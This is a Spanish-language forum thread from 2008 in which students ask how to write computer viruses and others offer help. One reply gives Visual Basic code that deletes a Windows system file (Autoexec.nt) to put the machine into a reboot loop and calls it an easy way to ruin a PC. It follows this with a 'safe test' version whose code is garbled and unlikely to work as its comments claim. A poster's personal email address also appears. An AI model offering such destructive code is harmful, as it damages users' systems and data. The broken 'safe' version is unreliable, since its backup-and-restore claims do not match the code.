Mi Primer Virus En C

Perdon por escribir en glow la verda esk me di cuenta nada mas aceptarlo

Losiento pero ese ejemplo no me funciona, no es lo k busko

Si puedieran darme algun manual de incluir ficheros y exportarlos un estilo inputfile, outputfile o algo asi......nose.... k se almacenene en el ejecutable

y una libreria inkey k funcione en devcpp? esk la k e ncotnrao me da una ristra de errores

NO estamosa aki xa aprender y ayudarnos?

[La verdad es que acabo de entrar a esta web, y me parece que aqui me pueden ayudar, estudio ing de sistemas voy en 3er semestre y estoy programanado en c++.
me gustaria que me guiaran en la creacion de virus por medio de este programa, ya quie me interesaria interactuar mucho mas alla con el c++.
hasta ahora solo hago programas sencillos ,pero me gustaria crear algo mas novedoso, si alguien lee esto por favor escribanme a mi mail, julieta_preteel @yahoo.es, se los agradezco. Wink

que puedo hacer con la funcion system(); ?? alguien sabe que utilidad tiene ,

je je je je, oigan vayanse todos al foro de C/C++, entiendo vuestras inquietudes (de algunos, de otro la mala OrToGrAfIA no me dejo entender que buscan)

Necesitas ser usuario para ver los enlaces Crear Usuario Hacer Sesion

ahi pueden empezar a entender ciertas tecnicas que seguro les seran utiles. Puedo ayudarlos, pero paso a paso, un virus es sencillo de hacer, pero deben "entender" que estan haciendo. Saludos

AzRaEL [NuKE]

Yo en C no se programar, pero en Visual Basic, hacer un programa que te joda el PC es muy sencillo,

Hay un archivo (o varios no se exactamente Xd) que si no existen al encender el Pc cuando carga Windows se queda pillao y se reinicia, y entra en bucle haciendo lo mismo hasta que te pongas a reinstalar o formatear.
(Comprobado por mi mismo, que tube que instalar windows de nuevo y por eso tambien lo aprendi).

Introduce esto en un Nuevo Proyecto de Visual Basic:

Private Sub Form_Load()
Dim fso, f1, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set f1 = fso.GetFile("c:\windows\system32\Autoexec.nt")
f1.Delete
End
End Sub

Con eso, si reinicias el ordenador, entraria en el bucle,
y ya lo mas seguro (sobre todo si no sabes) estarias pensando en todo lo que has perdido.

Si quieres hacer una prueba, sin que se te rompa el ordenador, pon esto:

Private Sub Form_Load()
dim fso, eq, ctr, file, vbscopy
Set fso = CreateObject("Scripting.c:\windows\system32\autoexec.nt")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(app.path + "Autoexec.nt")
if app.path+"Autoexec.nt"="" then
msgbox "No se ha hecho la copia de Seguridad"
End
else
msgbox "Se ha hecho la copia de Seguridad en "+ app.path+"Autoexec.nt"
Dim fso, f1, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set f1 = fso.GetFile("c:\windows\system32\Autoexec.nt")
f1.Delete
if "C:\windows\system32\Autoexec.nt"="" then
msgbox "Archivo Perdido, ahora mismo si reinicias entrara en bucle."
Set fso = CreateObject("Scripting.app.path+"Autoexec.nt")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy( "C:\Windows\System32\Autoexec.nt")
msgbox "Archivo Recuperado, ahora mismo si reinicias no entras en el bucle"
Dim fso, f1, s
Set fso = CreateObject("Scripting.FileSystemObject")
Set f1 = fso.GetFile(app.path+"\Autoexec.nt")
f1.Delete
End
end if
End Sub

	Bienvenido(a), Visitante. Favor de ingresar o registrarse. ¿Perdiste tu email de activación? - Octubre 07, 2008, 05:07:08